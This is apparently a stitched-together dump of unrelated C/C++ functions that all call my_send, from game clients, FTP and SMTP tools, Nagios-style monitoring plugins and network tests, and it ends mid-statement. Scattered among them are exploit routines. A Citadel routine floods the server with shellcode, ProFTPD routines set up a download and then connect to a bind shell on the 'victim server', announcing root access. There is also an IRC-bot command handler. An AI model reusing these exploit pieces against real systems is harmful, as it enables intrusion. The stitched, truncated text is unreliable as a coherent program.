void back_to_destination(const vec3d *v) { double power = 0.0; double steering = 0.0; char msg[100]; vec3d dir; double dis; double targetVel; v3sub(v,&loc,&dir); dis = v3length(&dir); if (dis!=0.0) v3normalize(&dir); targetVel = dis > 15 ? 15 : dis; if (v3dot(&dir,&front)<0.0) { steering = 0.3 * v3dot(&dir,&left); power = -300*(targetVel - v3length(&vel)); power = power > 300 ? 300 : power; power = power < -300 ? -300 : power; } else { steering = 1.0; power = 150; } sprintf(msg,"drive %.16f %.16f",power,steering); my_send(msg); }
int ftp_putcmd(ftpbuf_t *ftp, const char *cmd, const char *args) { int size; char *data; /* build the output buffer */ if (args && args[0]) { /* "cmd args\r\n\0" */ if (strlen(cmd) + strlen(args) + 4 > FTP_BUFSIZE) return 0; size = sprintf(ftp->outbuf, "%s %s\r\n", cmd, args); } else { /* "cmd\r\n\0" */ if (strlen(cmd) + 3 > FTP_BUFSIZE) return 0; size = sprintf(ftp->outbuf, "%s\r\n", cmd); } data = ftp->outbuf; if (my_send(ftp->fd, data, size) != size) return 0; return 1; }
void put_pwd(s_client cl) { char server_querry[BUFF_MAX]; my_send(cl.server_socket, "pwd", my_strlen("pwd"), (int)NULL); view_query(server_querry, cl); my_putchar('\n'); }
void put_ls(s_client cl) { char server_ls[BUFF_MAX]; my_send(cl.server_socket, "ls", my_strlen("ls"), (int)NULL); view_query(server_ls, cl); my_memset(server_ls, 0, BUFF_MAX); }
void my_sendall(int sock, void* buf, size_t len) { int sent = 0; while (sent != len) { sent += my_send(sock, buf + sent, len - sent); } //std::cerr << "Sent = " << sent << "\n"; }
void start() { while (1) { state_check(); make_events(); move(); my_send("stepForward"); currentTime += dt; counter++; } }
int main(int argc, char **argv) { if (argc != 3) my_error("Error 1: You must enter two arguments to launch the client", 1); if (my_getnbr(argv[1]) <= 0) my_error("Error 2: You must enter a strict positive PID (arg 1)", 2); my_time(my_getnbr(argv[1])); my_send(my_getnbr(argv[1]), argv[2]); return (0); }
// Flood the citadel server CHANCE_COUNTER times with the shellcode // to try and make it more likely for the shellcode to be in the right // place at the right time. This function makes one helluva difference // to the exploits reliability (100% reliable to date). void increase_chances(int s, int m) { char buf[SIZ]; int i; make_shellcode(buf); for(i=0;i<CHANCE_COUNTER;i++) { my_send(s, "IPGM %d %s\n", m, buf); my_recv(s); } }
int set_path_and_filename() { status_bar("Setting filename"); if(strcmp(uploadPath,"")) { my_send(controlSock, "CWD %s\r\n",uploadPath); my_recv(controlSock); } snprintf(filename,SIZE,"proft_put_down-%d-%d.txt",getpid(),attemptNumber); return SUCCESS; }
int search_next(t_player *p) { char *s; my_send(p->server_socket, "inventaire\n"); if ((s = gnl_parsing(p)) && check_inventaire(s, "nourriture", 4) == 1) { free(s); return (1); } return (0); }
int execute_command (SOCKET s, pAccount a, pMessage m) { int err; const char *contact = m->contact; if (strcmp (contact, a->n_name) == 0) { contact = m->n_name; } if (strncmp (m->command, "$restart", 8) == 0) { err = cleanup (s, a, m); if (err == -1) { non_fatal ("Cleanup"); } my_send (s, "PRIVMSG %s :Restarting...\r\n", contact); my_send (s, "QUIT :Manual restart\r\n"); #if defined(WIN32) || defined(_WIN32) || defined(__WIN32__) ShellExecute (NULL, "open", prog_name, NULL, NULL, SW_HIDE); #elif defined(__linux__) execv (prog_name, &prog_name); #endif } else if (strncmp (m->command, "$die", 4) == 0) { err = cleanup (s, a, m); if (err == -1) { non_fatal ("Cleanup"); } my_send (s, "PRIVMSG %s :Dying...\r\n", contact); my_send (s, "QUIT :Died\r\n"); exit (EXIT_SUCCESS); } return TRUE; }
int auth(int s, const char *pass) { //static const char *txt = "authenticate \""; static const int txt_len = 14; int len = strlen(pass); char *msg = alloca((txt_len + len + 3) * sizeof *msg); sprintf(msg, "authenticate \"%s\"\n", pass); return my_send(s, msg); }
MainWindow::MainWindow(QWidget *parent) : QMainWindow(parent) { this->setWindowIcon(QIcon(":res/123.png")); mdi = new QMdiArea(this); this->setCentralWidget(mdi); QDockWidget* dock = new QDockWidget(tr("Script log"),this); dock->setObjectName(tr("ScriptLogDock")); logText = new QTextEdit(dock); logText->setReadOnly(true); logText->setLineWrapMode(QTextEdit::NoWrap); dock->setWidget(logText); this->addDockWidget(Qt::BottomDockWidgetArea, dock); if(hidenum == 0){ hidenum = new QUsbHidEnumerator(this); } if(hid == 0){ hid = new QUsbHid(this); } connect(hidenum, SIGNAL(deviceDiscovered(QUsbHidInfo)), this, SLOT(devconnect(QUsbHidInfo))); connect(hidenum, SIGNAL(deviceRemoved(QUsbHidInfo)), this, SLOT(devdisconnect(QUsbHidInfo))); connect(hid, SIGNAL(readyRead()), this, SLOT(readyReadData())); hidenum->setUpNotifications(0x250,0x250); QList<QUsbHidInfo> devs = QUsbHid::enumDevices(0x250,0x250); if(devs.size()){ hidpath = devs.at(0).path; } QMenu* menu = 0; QList<QAction*> list = menuBar()->actions(); foreach(QAction* act, list){ if( act->text().contains(tr("help"),Qt::CaseInsensitive) ){ menu = act->menu(); } } if(menu == 0){ menu = menuBar()->addMenu(tr("&Help")); } menu->addAction(dock->toggleViewAction()); menu->addSeparator(); QAction* act = menu->addAction(tr("&About...")); connect(act,SIGNAL(triggered()),this,SLOT(my_about())); act = menu->addAction(tr("Send")); connect(act,SIGNAL(triggered()),this,SLOT(my_send())); this->setWindowTitle(QString::fromLocal8Bit("Tool Box")); //test_hid_devices(this); }
int ftp_printf(SOCKET s, const char *format, ...) { char buf[1024]; va_list args; va_start(args, format); vsprintf(buf, format, args); #ifdef DEBUG if (logging_enabled) log(buf); #endif return my_send(s, buf, strlen(buf), 0); }
void check_food(t_player *p) { char *s; my_send(p->server_socket, "inventaire\n"); if ((s = gnl_parsing(p))) { my_printf("%s\n", s); if (check_inventaire(s, "nourriture", 4) == 0) p->food_flag = 1; free(s); } else free(s); }
int put_msg(t_client *client) { int result; static char *msg = 0; int len; int first; if (!msg) msg = (char*)xmalloc(sizeof(*msg) * NET_MSS); first = client->pos_send; len = get_full_msg(client, msg, first); // if (TAG_SEND(client) >= 0) // { // if (POS_SEND(client) < sizeof(TAG_SEND(client)) + // sizeof(LEN_SEND(client))) // result = my_send(client->sock, &TAG_SEND(client) + POS_SEND(client), // sizeof(TAG_SEND(client)) + sizeof(LEN_SEND(client))); // else // result = my_send(client->sock, MSG_SEND(client) + POS_SEND(client) - // sizeof(TAG_SEND(client)) - sizeof(LEN_SEND(client)), // (sizeof(*MSG_SEND(client)) * LEN_SEND(client)) - // POS_SEND(client) + // sizeof(TAG_SEND(client)) + // sizeof(LEN_SEND(client))); // } result = my_send(client->sock, msg, len); if (result <= 0) { NETDEBUG(SDLNet_GetError()); client->loss = STATE_DROP; fprintf(fd_log, "STATE_FAIL_RECV ! (%d, %s)\n", result, strerror(errno)); // met dans list deadclient, avec un etat 'drop' return (0); } update_sent_msg(client, len, result, first); // POS_SEND(client) += result; // if (POS_SEND(client) >= sizeof(TAG_SEND(client)) + // sizeof(LEN_SEND(client)) + (sizeof(*MSG_SEND(client)) * // LEN_SEND(client))) // { // if (MSG_SEND(client)) // free(MSG_SEND(client)); // init_msg(&client->send[client->pos_send]); // if (++client->pos_send >= NET_MAX_MSG) // client->pos_send = 0; // } return (result); }
/*-------------------------------------------------------------------------*/ int Connection::Send_Integer (gpointer data) { int ret, fd, value; fd = FdWrite(); value = *((int *)data); ret = my_send(fd, &value, sizeof(int)); fsync(fd); if (ret!=sizeof(int)) { tl_warning ("Fd<%d>: Cannot write (%d)", fd, ret); return FALSE; } return TRUE; }
// if signal comes before report send out request, shall report send terminate msg? void handler(int sig){ printf("\nenter report handler\n"); print_sig(sig); message_t msgsnd; msgsnd.id= getpid(); msgsnd.type= (flag==TRUE? RKILL: REPORT); if(my_send(fds, &msgsnd, sizeof(message_t), 0)!= sizeof(message_t)){ exit(EXIT_FAILURE); } close(fds); exit(EXIT_SUCCESS); }
int download_file(int mode) { int len, localServerSock, dataSock, bindShellSock; struct sockaddr_in localServer; status_bar("Downloading"); // Ask the victim server to send us the exploit file my_send(controlSock, "RETR %s\r\n", filename); // Create a listening server on our passive port to // receive the data memset(&localServer,0,sizeof(localServer)); localServerSock=create_passive_server(); len=sizeof(localServer); // Wait for a few seconds for the victim server to contact us... if((dataSock=timeout_accept(localServerSock,(struct sockaddr *)&localServer,&len))<0) { close(localServerSock); return FAILURE; } // If the mode is EXPLOIT_DOWNLOAD, then this is the // second attempt at downloading... that means we might // have a shell waiting for us on the victim server, so // we try to connect to it if(mode==EXPLOIT_DOWNLOAD) { if((bindShellSock=connect_to_server(BINDSHELL_PORT))>=0) { printf("\nConnected! You are r00t...\n"); do_remote_shell(bindShellSock); printf("\nDid you have a nice time?\n"); exit(0); } close(dataSock); close(localServerSock); return SUCCESS; } // If the mode is NORMAL_DOWNLOAD, then just clean up the // connection by receiving the file from the server; closing // the data and local server sockets, then read the confirmation // message from the control socket my_recv(dataSock); close(dataSock); close(localServerSock); my_recv(controlSock); return check_status(); }
int mapinfo(int socket, t_env *e) { char *sizemap; char *tmp; tmp = malloc(sizeof(char*) * get_int_len(e->map_size[1])); sizemap = malloc(sizeof(char*) * (get_int_len(e->map_size[0]) + get_int_len(e->map_size[1]) + 1)); sprintf(sizemap, "%zu", e->map_size[0]); strcat(sizemap, ","); sprintf(tmp, "%zu", e->map_size[1]); strcat(sizemap, tmp); //puts(sizemap); my_send(socket, sizemap); return 0; }
int udp_test(std::vector<std::string> args) { size_t argc = args.size(); for (size_t i = 0; i < argc; ++i) { if (i == 0) continue; std::cout << "Param[" << i << "] : " << args[i] << std::endl; } if (args.size() >= 3) { if (StringEqual(args[2].c_str(), "send")) { my_send(); } else { my_receive(); } } return 0; }
static void handle_from_entry(struct ev_loop*loop,struct ev_io*watcher,int revents) { if (revents & EV_ERROR){ printf("revents error at handle_from_entry\n"); return; } char buff[MAXBUFF]; CONN_INFO*ptr=(CONN_INFO*)watcher->data; uint32_t streamid,len; int result , thread_id=ptr->thread_id , temp; result=recv(entry_fd[thread_id],&streamid,4,0); ptr=info_search(&info_head[thread_id],streamid); //-----can not find this connection----- if (ptr==NULL){ printf("cannot find streamid=%d , read this payload and ignore\n",streamid); recv(entry_fd[thread_id],&len,4,0); if (len<0 || len>2048){ printf("payload length error , %d\n",len); exit(1); } else{ for (result=0;result<len;){ temp=recv(entry_fd[thread_id],buff,result,0); result+=temp; } return; } } recv(entry_fd[thread_id],&len,4,0); if (len<0||len>2048){ printf("payload length error , %d\n",len); exit(1); } for (result=0;result<len;){ temp=recv(entry_fd[thread_id],buff+result,len-result,0); result+=temp; } my_send(ptr->browser_fd,buff,len,"handle_from_entry"); }
int set_passive_mode(int mode) { int portMSB, portLSB; int x1,x2,x3,x4; char *ptr=localIP, *start; status_bar("Setting passive"); if(mode==DOWNLOAD) { if((++currentPassivePort) > 35000) currentPassivePort=32789; while(*(++ptr)) if(*ptr=='.') *ptr=','; portMSB=(currentPassivePort >> 8 ) & 0xff; portLSB=currentPassivePort & 0xff; my_send(controlSock, "PORT %s,%d,%d\r\n", localIP, portMSB, portLSB); my_recv(controlSock); return check_status(); } else {
void make_events_basic() { char *msg, *tok; struct event e; msg = my_send("receiveMessages"); if (strlen(msg)>9) { tok = strtok(msg+10,","); while (tok!=NULL) { e.id = MESSAGE_EVENT; e.message = tok; process_event(&e); tok = strtok(NULL,","); } } if (burdens_count==0) { e.id = CLEAR_EVENT; process_event(&e); } }
void devicetest() { emu_board* b = emub_create(); emu_device* d1 = create_pinger(); emu_device* d2 = create_pinger(); int i; int i1 = 0; int i2 = 1; printf(">>> we are connecting two pingers, in slots %d and %d\n", i1, i2); my_connect(b, d1, i1); my_connect(b, d2, i2); printf(">>> we will now broadcast the signals 0 through 10\n"); for(i = 0; i < 100; i += 10) my_broadcast(b, i); printf(">>> we will now send (255 - n) to each plug n\n"); for(i = 0; i < 0x100; i++) my_send(b, i, 0x100 - i); printf(">>> we will now free the board\n"); emub_free(b); }
static void handle_from_browser(struct ev_loop*loop,struct ev_io*watcher,int revents) { if (revents & EV_ERROR){ printf("revent error at handle_from_browser\n"); return; } CONN_INFO*info=(CONN_INFO*)watcher->data; int result; uint32_t len; char buff[MAXBUFF]; result=recv(watcher->fd,buff+8,MAXBUFF,0); len=(uint32_t)result; if (result<=0){ info_delete(&info_head[info->thread_id],info); } else{ memcpy(buff,&(info->streamid),4); memcpy(buff+4,&len,4); my_send(entry_fd[info->thread_id],buff,8+len,"handle_from_browser"); } }
/* {{{ ftp_putcmd */ int ftp_putcmd(ftpbuf_t *ftp, const char *cmd, const char *args) { int size; char *data; if (strpbrk(cmd, "\r\n")) { return 0; } /* build the output buffer */ if (args && args[0]) { /* "cmd args\r\n\0" */ if (strlen(cmd) + strlen(args) + 4 > FTP_BUFSIZE) { return 0; } if (strpbrk(args, "\r\n")) { return 0; } size = slprintf(ftp->outbuf, sizeof(ftp->outbuf), "%s %s\r\n", cmd, args); } else { /* "cmd\r\n\0" */ if (strlen(cmd) + 3 > FTP_BUFSIZE) { return 0; } size = slprintf(ftp->outbuf, sizeof(ftp->outbuf), "%s\r\n", cmd); } data = ftp->outbuf; /* Clear the extra-lines buffer */ ftp->extra = NULL; if (my_send(ftp, ftp->fd, data, size) != size) { return 0; } return 1; }
int main(int argc, char *argv[]) { int error, sock_listen, sock_recv, sock_send; struct sockaddr_ipx sipx_listen, sipx_send; pid_t childpid, parentpid; /* * Socket to receive with. */ sock_listen = socket(PF_IPX, SOCK_STREAM, 0); if (sock_listen < 0) err(-1, "sock_listen = socket(PF_IPX, SOCK_STREAM, 0)"); bzero(&sipx_listen, sizeof(sipx_listen)); sipx_listen.sipx_len = sizeof(sipx_listen); sipx_listen.sipx_family = AF_IPX; sipx_listen.sipx_addr = ipx_addr(IPX_ENDPOINT); if (bind(sock_listen, (struct sockaddr *)&sipx_listen, sizeof(sipx_listen)) < 0) err(-1, "bind(sock_listen)"); if (listen(sock_listen, -1) < 0) err(-1, "listen(sock_listen)"); parentpid = getpid(); childpid = fork(); if (childpid < 0) err(-1, "fork()"); if (childpid == 0) { /* * The child: accept connections and process data on them. */ while (1) { sock_recv = accept(sock_listen, NULL, NULL); if (sock_recv < 0) { warn("accept()"); continue; } my_recv(sock_recv, "listener", parentpid); my_send(sock_recv, "listener", parentpid); close(sock_recv); } } else { /* * The parent: connect, send data, receive it back, and exit; * build two connections, once using a full connect() API * call, and the second using sendto(). */ /* * Socket to send with. */ sock_send = socket(PF_IPX, SOCK_STREAM, 0); if (sock_send < 0) { error = errno; (void)kill(childpid, SIGTERM); errno = error; err(-1, "sock_send = socket(PF_IPX, SOCK_STREAM, 0)"); } bzero(&sipx_send, sizeof(sipx_send)); sipx_send.sipx_len = sizeof(sipx_send); sipx_send.sipx_family = AF_IPX; sipx_send.sipx_addr = ipx_addr(IPX_ENDPOINT); if (connect(sock_send, (struct sockaddr *)&sipx_send, sizeof(sipx_send)) < 0) { error = errno; (void)kill(childpid, SIGTERM); errno = error; err(-1, "sock_send = socket(PF_IPX, SOCK_STREAM, 0)"); } my_send(sock_send, "connector", childpid); my_recv(sock_send, "connector", childpid); close(sock_send); #ifdef SPX_SUPPORTS_SENDTO_WITH_CONNECT sock_send = socket(PF_IPX, SOCK_STREAM, 0); if (sock_send < 0) { error = errno; (void)kill(childpid, SIGTERM); errno = error; err(-1, "sock_send = socket(PF_IPX, SOCK_STREAM, 0)"); } bzero(&sipx_send, sizeof(sipx_send)); sipx_send.sipx_len = sizeof(sipx_send); sipx_send.sipx_family = AF_IPX; sipx_send.sipx_addr = ipx_addr(IPX_ENDPOINT); my_sendto(sock_send, "connector", childpid, (struct sockaddr *)&sipx_send, sizeof(sipx_send)); my_recv(sock_send, "connector", childpid); close(sock_send); #endif (void)kill(childpid, SIGTERM); } return (0); }
int main (int argc, char **argv) { int result = STATE_UNKNOWN; int i; char *status = NULL; struct timeval tv; size_t len; int match = -1; setlocale (LC_ALL, ""); bindtextdomain (PACKAGE, LOCALEDIR); textdomain (PACKAGE); /* determine program- and service-name quickly */ progname = strrchr(argv[0], '/'); if(progname != NULL) progname++; else progname = argv[0]; len = strlen(progname); if(len > 6 && !memcmp(progname, "check_", 6)) { SERVICE = strdup(progname + 6); for(i = 0; i < len - 6; i++) SERVICE[i] = toupper(SERVICE[i]); } /* set up a resonable buffer at first (will be realloc()'ed if * user specifies other options) */ server_expect = calloc(sizeof(char *), 2); /* determine defaults for this service's protocol */ if (!strncmp(SERVICE, "UDP", 3)) { PROTOCOL = IPPROTO_UDP; } else if (!strncmp(SERVICE, "FTP", 3)) { EXPECT = "220"; QUIT = "QUIT\r\n"; PORT = 21; } else if (!strncmp(SERVICE, "POP", 3) || !strncmp(SERVICE, "POP3", 4)) { EXPECT = "+OK"; QUIT = "QUIT\r\n"; PORT = 110; } else if (!strncmp(SERVICE, "SMTP", 4)) { EXPECT = "220"; QUIT = "QUIT\r\n"; PORT = 25; } else if (!strncmp(SERVICE, "IMAP", 4)) { EXPECT = "* OK"; QUIT = "a1 LOGOUT\r\n"; PORT = 143; } #ifdef HAVE_SSL else if (!strncmp(SERVICE, "SIMAP", 5)) { EXPECT = "* OK"; QUIT = "a1 LOGOUT\r\n"; flags |= FLAG_SSL; PORT = 993; } else if (!strncmp(SERVICE, "SPOP", 4)) { EXPECT = "+OK"; QUIT = "QUIT\r\n"; flags |= FLAG_SSL; PORT = 995; } else if (!strncmp(SERVICE, "SSMTP", 5)) { EXPECT = "220"; QUIT = "QUIT\r\n"; flags |= FLAG_SSL; PORT = 465; } else if (!strncmp(SERVICE, "JABBER", 6)) { SEND = "<stream:stream to=\'host\' xmlns=\'jabber:client\' xmlns:stream=\'http://etherx.jabber.org/streams\'>\n"; EXPECT = "<?xml version=\'1.0\'?><stream:stream xmlns=\'jabber:client\' xmlns:stream=\'http://etherx.jabber.org/streams\'"; QUIT = "</stream:stream>\n"; flags |= FLAG_HIDE_OUTPUT; PORT = 5222; } else if (!strncmp (SERVICE, "NNTPS", 5)) { server_expect_count = 2; server_expect[0] = "200"; server_expect[1] = "201"; QUIT = "QUIT\r\n"; flags |= FLAG_SSL; PORT = 563; } #endif else if (!strncmp (SERVICE, "NNTP", 4)) { server_expect_count = 2; server_expect = malloc(sizeof(char *) * server_expect_count); server_expect[0] = strdup("200"); server_expect[1] = strdup("201"); QUIT = "QUIT\r\n"; PORT = 119; } else if (!strncmp(SERVICE, "CLAMD", 5)) { SEND = "PING"; EXPECT = "PONG"; QUIT = NULL; PORT = 3310; } /* fallthrough check, so it's supposed to use reverse matching */ else if (strcmp (SERVICE, "TCP")) usage (_("CRITICAL - Generic check_tcp called with unknown service\n")); server_address = "127.0.0.1"; server_port = PORT; server_send = SEND; server_quit = QUIT; status = NULL; /* Parse extra opts if any */ argv=np_extra_opts (&argc, argv, progname); if (process_arguments (argc, argv) == ERROR) usage4 (_("Could not parse arguments")); if(flags & FLAG_VERBOSE) { printf("Using service %s\n", SERVICE); printf("Port: %d\n", server_port); printf("flags: 0x%x\n", (int)flags); } if(EXPECT && !server_expect_count) server_expect_count++; if(PROTOCOL==IPPROTO_UDP && !(server_expect_count && server_send)){ usage(_("With UDP checks, a send/expect string must be specified.")); } /* set up the timer */ signal (SIGALRM, socket_timeout_alarm_handler); alarm (socket_timeout); /* try to connect to the host at the given port number */ gettimeofday (&tv, NULL); result = np_net_connect (server_address, server_port, &sd, PROTOCOL); if (result == STATE_CRITICAL) return STATE_CRITICAL; #ifdef HAVE_SSL if (flags & FLAG_SSL){ result = np_net_ssl_init(sd); if (result == STATE_OK && check_cert == TRUE) { result = np_net_ssl_check_cert(days_till_exp); } } if(result != STATE_OK || check_cert == TRUE){ np_net_ssl_cleanup(); if(sd) close(sd); return result; } #endif /* HAVE_SSL */ if (server_send != NULL) { /* Something to send? */ my_send(server_send, strlen(server_send)); } if (delay > 0) { tv.tv_sec += delay; sleep (delay); } if(flags & FLAG_VERBOSE) { if (server_send) { printf("Send string: %s\n", server_send); } if (server_quit) { printf("Quit string: %s\n", server_quit); } printf("server_expect_count: %d\n", (int)server_expect_count); for(i = 0; i < server_expect_count; i++) printf("\t%d: %s\n", i, server_expect[i]); } /* if(len) later on, we know we have a non-NULL response */ len = 0; if (server_expect_count) { /* watch for the expect string */ while ((i = my_recv(buffer, sizeof(buffer))) > 0) { status = realloc(status, len + i + 1); memcpy(&status[len], buffer, i); len += i; /* stop reading if user-forced or data-starved */ if(i < sizeof(buffer) || (maxbytes && len >= maxbytes)) break; if (maxbytes && len >= maxbytes) break; } /* no data when expected, so return critical */ if (len == 0) die (STATE_CRITICAL, _("No data received from host\n")); /* force null-termination and strip whitespace from end of output */ status[len--] = '\0'; /* print raw output if we're debugging */ if(flags & FLAG_VERBOSE) printf("received %d bytes from host\n#-raw-recv-------#\n%s\n#-raw-recv-------#\n", (int)len + 1, status); while(isspace(status[len])) status[len--] = '\0'; match = np_expect_match(status, server_expect, server_expect_count, (flags & FLAG_MATCH_ALL ? TRUE : FALSE), (flags & FLAG_EXACT_MATCH ? TRUE : FALSE), (flags & FLAG_VERBOSE ? TRUE : FALSE)); } if (server_quit != NULL) { my_send(server_quit, strlen(server_quit)); } #ifdef HAVE_SSL np_net_ssl_cleanup(); #endif if (sd) close (sd); microsec = deltime (tv); elapsed_time = (double)microsec / 1.0e6; if (flags & FLAG_TIME_CRIT && elapsed_time > critical_time) result = STATE_CRITICAL; else if (flags & FLAG_TIME_WARN && elapsed_time > warning_time) result = STATE_WARNING; /* did we get the response we hoped? */ if(match == FALSE && result != STATE_CRITICAL) result = expect_mismatch_state; /* reset the alarm */ alarm (0); /* this is a bit stupid, because we don't want to print the * response time (which can look ok to the user) if we didn't get * the response we were looking for. if-else */ printf("%s %s - ", SERVICE, state_text(result)); if(match == FALSE && len && !(flags & FLAG_HIDE_OUTPUT)) printf("Unexpected response from host/socket: %s", status); else { if(match == FALSE) printf("Unexpected response from host/socket on "); else printf("%.3f second response time on ", elapsed_time); if(server_address[0] != '/') printf("port %d", server_port); else printf("socket %s", server_address); } if (match != FALSE && !(flags & FLAG_HIDE_OUTPUT) && len) printf (" [%s]", status); /* perf-data doesn't apply when server doesn't talk properly, * so print all zeroes on warn and crit. Use fperfdata since * localisation settings can make different outputs */ if(match == FALSE) printf ("|%s", fperfdata ("time", elapsed_time, "s", (flags & FLAG_TIME_WARN ? TRUE : FALSE), 0, (flags & FLAG_TIME_CRIT ? TRUE : FALSE), 0, TRUE, 0, TRUE, socket_timeout) ); else printf("|%s", fperfdata ("time", elapsed_time, "s", (flags & FLAG_TIME_WARN ? TRUE : FALSE), warning_time, (flags & FLAG_TIME_CRIT ? TRUE : FALSE), critical_time, TRUE, 0, TRUE, socket_timeout) ); putchar('\n'); return result; }
int main (int argc, char **argv) { short supports_tls=FALSE; int n = 0; double elapsed_time; long microsec; int result = STATE_UNKNOWN; char *cmd_str = NULL; char *helocmd = NULL; char *error_msg = ""; struct timeval tv; /* Catch pipe errors in read/write - sometimes occurs when writing QUIT */ (void) signal (SIGPIPE, SIG_IGN); setlocale (LC_ALL, ""); bindtextdomain (PACKAGE, LOCALEDIR); textdomain (PACKAGE); /* Parse extra opts if any */ argv=np_extra_opts (&argc, argv, progname); if (process_arguments (argc, argv) == ERROR) usage4 (_("Could not parse arguments")); /* If localhostname not set on command line, use gethostname to set */ if(! localhostname){ localhostname = malloc (HOST_MAX_BYTES); if(!localhostname){ printf(_("malloc() failed!\n")); return STATE_CRITICAL; } if(gethostname(localhostname, HOST_MAX_BYTES)){ printf(_("gethostname() failed!\n")); return STATE_CRITICAL; } } if(use_ehlo) xasprintf (&helocmd, "%s%s%s", SMTP_EHLO, localhostname, "\r\n"); else xasprintf (&helocmd, "%s%s%s", SMTP_HELO, localhostname, "\r\n"); if (verbose) printf("HELOCMD: %s", helocmd); /* initialize the MAIL command with optional FROM command */ xasprintf (&cmd_str, "%sFROM:<%s>%s", mail_command, from_arg, "\r\n"); if (verbose && send_mail_from) printf ("FROM CMD: %s", cmd_str); /* initialize alarm signal handling */ (void) signal (SIGALRM, socket_timeout_alarm_handler); /* set socket timeout */ (void) alarm (socket_timeout); /* start timer */ gettimeofday (&tv, NULL); /* try to connect to the host at the given port number */ result = my_tcp_connect (server_address, server_port, &sd); if (result == STATE_OK) { /* we connected */ /* watch for the SMTP connection string and */ /* return a WARNING status if we couldn't read any data */ if (recvlines(buffer, MAX_INPUT_BUFFER) <= 0) { printf (_("recv() failed\n")); return STATE_WARNING; } else { if (verbose) printf ("%s", buffer); /* strip the buffer of carriage returns */ strip (buffer); /* make sure we find the response we are looking for */ if (!strstr (buffer, server_expect)) { if (server_port == SMTP_PORT) printf (_("Invalid SMTP response received from host: %s\n"), buffer); else printf (_("Invalid SMTP response received from host on port %d: %s\n"), server_port, buffer); return STATE_WARNING; } } /* send the HELO/EHLO command */ send(sd, helocmd, strlen(helocmd), 0); /* allow for response to helo command to reach us */ if (recvlines(buffer, MAX_INPUT_BUFFER) <= 0) { printf (_("recv() failed\n")); return STATE_WARNING; } else if(use_ehlo){ if(strstr(buffer, "250 STARTTLS") != NULL || strstr(buffer, "250-STARTTLS") != NULL){ supports_tls=TRUE; } } if(use_ssl && ! supports_tls){ printf(_("WARNING - TLS not supported by server\n")); smtp_quit(); return STATE_WARNING; } #ifdef HAVE_SSL if(use_ssl) { /* send the STARTTLS command */ send(sd, SMTP_STARTTLS, strlen(SMTP_STARTTLS), 0); recvlines(buffer, MAX_INPUT_BUFFER); /* wait for it */ if (!strstr (buffer, server_expect)) { printf (_("Server does not support STARTTLS\n")); smtp_quit(); return STATE_UNKNOWN; } result = np_net_ssl_init(sd); if(result != STATE_OK) { printf (_("CRITICAL - Cannot create SSL context.\n")); np_net_ssl_cleanup(); close(sd); return STATE_CRITICAL; } else { ssl_established = 1; } /* * Resend the EHLO command. * * RFC 3207 (4.2) says: ``The client MUST discard any knowledge * obtained from the server, such as the list of SMTP service * extensions, which was not obtained from the TLS negotiation * itself. The client SHOULD send an EHLO command as the first * command after a successful TLS negotiation.'' For this * reason, some MTAs will not allow an AUTH LOGIN command before * we resent EHLO via TLS. */ if (my_send(helocmd, strlen(helocmd)) <= 0) { printf("%s\n", _("SMTP UNKNOWN - Cannot send EHLO command via TLS.")); my_close(); return STATE_UNKNOWN; } if (verbose) printf(_("sent %s"), helocmd); if ((n = recvlines(buffer, MAX_INPUT_BUFFER)) <= 0) { printf("%s\n", _("SMTP UNKNOWN - Cannot read EHLO response via TLS.")); my_close(); return STATE_UNKNOWN; } if (verbose) { printf("%s", buffer); } # ifdef USE_OPENSSL if ( check_cert ) { result = np_net_ssl_check_cert(days_till_exp_warn, days_till_exp_crit); my_close(); return result; } # endif /* USE_OPENSSL */ } #endif if (send_mail_from) { my_send(cmd_str, strlen(cmd_str)); if (recvlines(buffer, MAX_INPUT_BUFFER) >= 1 && verbose) printf("%s", buffer); } while (n < ncommands) { xasprintf (&cmd_str, "%s%s", commands[n], "\r\n"); my_send(cmd_str, strlen(cmd_str)); if (recvlines(buffer, MAX_INPUT_BUFFER) >= 1 && verbose) printf("%s", buffer); strip (buffer); if (n < nresponses) { cflags |= REG_EXTENDED | REG_NOSUB | REG_NEWLINE; errcode = regcomp (&preg, responses[n], cflags); if (errcode != 0) { regerror (errcode, &preg, errbuf, MAX_INPUT_BUFFER); printf (_("Could Not Compile Regular Expression")); return ERROR; } excode = regexec (&preg, buffer, 10, pmatch, eflags); if (excode == 0) { result = STATE_OK; } else if (excode == REG_NOMATCH) { result = STATE_WARNING; printf (_("SMTP %s - Invalid response '%s' to command '%s'\n"), state_text (result), buffer, commands[n]); } else { regerror (excode, &preg, errbuf, MAX_INPUT_BUFFER); printf (_("Execute Error: %s\n"), errbuf); result = STATE_UNKNOWN; } } n++; } if (authtype != NULL) { if (strcmp (authtype, "LOGIN") == 0) { char *abuf; int ret; do { if (authuser == NULL) { result = STATE_CRITICAL; xasprintf(&error_msg, _("no authuser specified, ")); break; } if (authpass == NULL) { result = STATE_CRITICAL; xasprintf(&error_msg, _("no authpass specified, ")); break; } /* send AUTH LOGIN */ my_send(SMTP_AUTH_LOGIN, strlen(SMTP_AUTH_LOGIN)); if (verbose) printf (_("sent %s\n"), "AUTH LOGIN"); if ((ret = recvlines(buffer, MAX_INPUT_BUFFER)) <= 0) { xasprintf(&error_msg, _("recv() failed after AUTH LOGIN, ")); result = STATE_WARNING; break; } if (verbose) printf (_("received %s\n"), buffer); if (strncmp (buffer, "334", 3) != 0) { result = STATE_CRITICAL; xasprintf(&error_msg, _("invalid response received after AUTH LOGIN, ")); break; } /* encode authuser with base64 */ base64_encode_alloc (authuser, strlen(authuser), &abuf); xasprintf(&abuf, "%s\r\n", abuf); my_send(abuf, strlen(abuf)); if (verbose) printf (_("sent %s\n"), abuf); if ((ret = recvlines(buffer, MAX_INPUT_BUFFER)) <= 0) { result = STATE_CRITICAL; xasprintf(&error_msg, _("recv() failed after sending authuser, ")); break; } if (verbose) { printf (_("received %s\n"), buffer); } if (strncmp (buffer, "334", 3) != 0) { result = STATE_CRITICAL; xasprintf(&error_msg, _("invalid response received after authuser, ")); break; } /* encode authpass with base64 */ base64_encode_alloc (authpass, strlen(authpass), &abuf); xasprintf(&abuf, "%s\r\n", abuf); my_send(abuf, strlen(abuf)); if (verbose) { printf (_("sent %s\n"), abuf); } if ((ret = recvlines(buffer, MAX_INPUT_BUFFER)) <= 0) { result = STATE_CRITICAL; xasprintf(&error_msg, _("recv() failed after sending authpass, ")); break; } if (verbose) { printf (_("received %s\n"), buffer); } if (strncmp (buffer, "235", 3) != 0) { result = STATE_CRITICAL; xasprintf(&error_msg, _("invalid response received after authpass, ")); break; } break; } while (0); } else { result = STATE_CRITICAL; xasprintf(&error_msg, _("only authtype LOGIN is supported, 